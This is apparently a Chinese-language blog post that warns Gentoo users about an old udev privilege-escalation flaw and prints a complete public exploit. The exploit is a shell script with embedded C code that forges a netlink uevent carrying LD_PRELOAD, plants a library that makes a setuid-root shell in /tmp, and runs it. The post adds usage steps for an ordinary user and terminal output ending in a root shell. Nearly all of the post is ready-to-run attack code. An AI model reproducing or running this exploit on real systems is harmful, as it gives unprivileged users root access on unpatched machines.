使用Gentoo操作系统并且udev版本在udev-124-r2版本以下的要小心了^^
http://www.gentoo.org/security/en/glsa/glsa-200904-18.xml
系统版本: Gentoo 2008 amd64 system
最后一次emerge world时间: 2009.3.18
udev版本: =sys-fs/udev-124-r1
攻击代码:
#!/bin/sh # Linux 2.6 # bug found by Sebastian Krahmer # # lame sploit using LD technique # by kcope in 2009 # tested on debian-etch,ubuntu,gentoo # do a 'cat /proc/net/netlink' # and set the first arg to this # script to the pid of the netlink socket # (the pid is udevd_pid - 1 most of the time) # + sploit has to be UNIX formatted text# + if it doesn't work the 1st time try more often # # WARNING: maybe needs some FIXUP to work flawlessly ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang cat > udev.c << _EOF #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <dirent.h> #include <sys/stat.h> #include <sysexits.h> #include <wait.h> #include <signal.h> #include <sys/socket.h> #include <linux/types.h> #include <linux/netlink.h> #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif #define SHORT_STRING 64 #define MEDIUM_STRING 128 #define BIG_STRING 256 #define LONG_STRING 1024 #define EXTRALONG_STRING 4096 #define TRUE 1 #define FALSE 0 int socket_fd; struct sockaddr_nl address; struct msghdr msg; struct iovec iovector; int sz = 64*1024; main(int argc, char **argv) { char sysfspath[SHORT_STRING]; char subsystem[SHORT_STRING]; char event[SHORT_STRING]; char major[SHORT_STRING]; char minor[SHORT_STRING]; sprintf(event, "add"); sprintf(subsystem, "block"); sprintf(sysfspath, "/dev/foo"); sprintf(major, "8"); sprintf(minor, "1"); memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); char message[LONG_STRING]; char *mp; mp = message; mp += sprintf(mp, "%s@%s", event, sysfspath) +1; mp += sprintf(mp, "ACTION=%s", event) +1; mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1; mp += sprintf(mp, "MAJOR=%s", major) +1; mp += sprintf(mp, "MINOR=%s", minor) +1; mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1; mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); char *buf; int buflen; buf = (char *) &msg; buflen = (int)(mp-message); sendmsg(socket_fd, &msg, 0); close(socket_fd); sleep(10); execl("/tmp/suid", "suid", (void*)0); } _EOF gcc udev.c -o /tmp/udev cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { setgid(0); setuid(0); unsetenv("LD_PRELOAD"); execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cat > suid.c << _EOF int main(void) { setgid(0); setuid(0); execl("/bin/sh","sh",0); } _EOF gcc -o /tmp/suid suid.c cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 /tmp/udev $1 # milw0rm.com [2009-04-20]
使用方法: 普通用户执行上面的shell脚本.
返回结果:
X86-64 afc@chinabidi ~ $ ps aux | grep udevd root 17497 0.0 0.0 12348 688 ? S<s 23:12 0:00 /sbin/udevd --daemon afc 17824 0.0 0.0 3908 584 pts/1 R+ 23:13 0:00 grep --colour=auto udevd X86-64 afc@chinabidi ~ $ ./exploits.sh 17496 suid.c: In function 'main': suid.c:3: warning: incompatible implicit declaration of built-in function 'execl' sh-3.2#